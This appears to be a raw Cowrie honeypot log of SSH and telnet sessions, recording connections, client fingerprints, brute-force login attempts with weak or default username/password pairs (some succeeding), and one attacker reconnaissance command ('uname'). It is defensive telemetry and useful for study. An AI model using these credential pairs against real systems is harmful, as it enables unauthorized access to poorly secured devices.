{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:51.233924Z","src_ip":"83.168.110.85","session":"a7801a689a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:51.599739Z","src_ip":"83.168.110.85","session":"a7801a689a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:52.755495Z","src_ip":"83.168.110.85","session":"a7801a689a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9915881156921387,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:53.988132Z","src_ip":"176.65.139.118","session":"7be53c0dcd27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37856,"dst_ip":"159.203.135.109","dst_port":22,"session":"898638b2f1b6","protocol":"ssh","message":"New connection: 103.153.68.219:37856 (159.203.135.109:22) [session: 898638b2f1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:56.560397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:56.564907Z","src_ip":"103.153.68.219","session":"898638b2f1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:56.814982Z","src_ip":"103.153.68.219","session":"898638b2f1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321678","message":"login attempt [root/321678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:57.571810Z","src_ip":"103.153.68.219","session":"898638b2f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9996ad8cf493","protocol":"ssh","message":"New connection: 83.168.110.85:60892 (10.17.0.5:22) [session: 9996ad8cf493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:57.911925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:57.916811Z","src_ip":"83.168.110.85","session":"9996ad8cf493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:58.038310Z","src_ip":"83.168.110.85","session":"9996ad8cf493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:58.620709Z","src_ip":"83.168.110.85","session":"9996ad8cf493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:58.824489Z","src_ip":"103.153.68.219","session":"898638b2f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:59.750510Z","src_ip":"83.168.110.85","session":"9996ad8cf493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33502,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fa30388621","protocol":"telnet","message":"New connection: 176.65.139.118:33502 (159.203.135.109:23) [session: 88fa30388621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:01.169471Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"e80d2ebc76c1","protocol":"telnet","message":"New connection: 176.65.139.118:32828 (159.203.135.109:23) [session: e80d2ebc76c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:03.476834Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60814,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b209c71380","protocol":"ssh","message":"New connection: 83.168.110.85:60814 (10.17.0.5:22) [session: 10b209c71380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:05.181997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:05.187731Z","src_ip":"83.168.110.85","session":"10b209c71380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:05.310049Z","src_ip":"83.168.110.85","session":"10b209c71380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:05.677626Z","src_ip":"83.168.110.85","session":"10b209c71380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:07.054086Z","src_ip":"83.168.110.85","session":"10b209c71380","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:09.464685Z","src_ip":"176.65.139.118","session":"e80d2ebc76c1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:09.521143Z","src_ip":"176.65.139.118","session":"e80d2ebc76c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9104debcfe8","protocol":"ssh","message":"New connection: 83.168.110.85:60826 (10.17.0.5:22) [session: b9104debcfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.016519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.029213Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.151143Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.520931Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.820098Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.825586Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.951159Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:12.965925Z","src_ip":"83.168.110.85","session":"b9104debcfe8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"3.7","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:13.261552Z","src_ip":"176.65.139.118","session":"e80d2ebc76c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.803006410598755,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:13.279720Z","src_ip":"176.65.139.118","session":"e80d2ebc76c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4169d7f1496e","protocol":"telnet","message":"New connection: 176.65.139.118:34324 (159.203.135.109:23) [session: 4169d7f1496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:13.387241Z"}
{"eventid":"cowrie.session.closed","duration":14.981574296951294,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:16.150990Z","src_ip":"176.65.139.118","session":"88fa30388621","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:18.908562Z","src_ip":"176.65.139.118","session":"4169d7f1496e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59756,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee753881810","protocol":"ssh","message":"New connection: 83.168.110.85:59756 (10.17.0.5:22) [session: 4ee753881810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:18.918196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:18.925017Z","src_ip":"83.168.110.85","session":"4ee753881810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:19.050946Z","src_ip":"83.168.110.85","session":"4ee753881810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:19.523268Z","src_ip":"83.168.110.85","session":"4ee753881810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.527252197265625,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:19.914325Z","src_ip":"176.65.139.118","session":"4169d7f1496e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":53418,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddd1336a9c3","protocol":"telnet","message":"New connection: 176.65.139.118:53418 (159.203.135.109:23) [session: 4ddd1336a9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:20.071052Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:20.648697Z","src_ip":"83.168.110.85","session":"4ee753881810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.09510278701782,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:20.930197Z","src_ip":"152.42.224.71","session":"e2f5c9def6c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:23.849743Z","src_ip":"176.65.139.118","session":"4ddd1336a9c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f57241804a5","protocol":"ssh","message":"New connection: 83.168.110.85:54374 (10.17.0.5:22) [session: 9f57241804a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:25.593351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:25.598766Z","src_ip":"83.168.110.85","session":"9f57241804a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:25.775249Z","src_ip":"83.168.110.85","session":"9f57241804a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.072970151901245,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:20:26.143900Z","src_ip":"176.65.139.118","session":"4ddd1336a9c3","protocol":"telnet"}
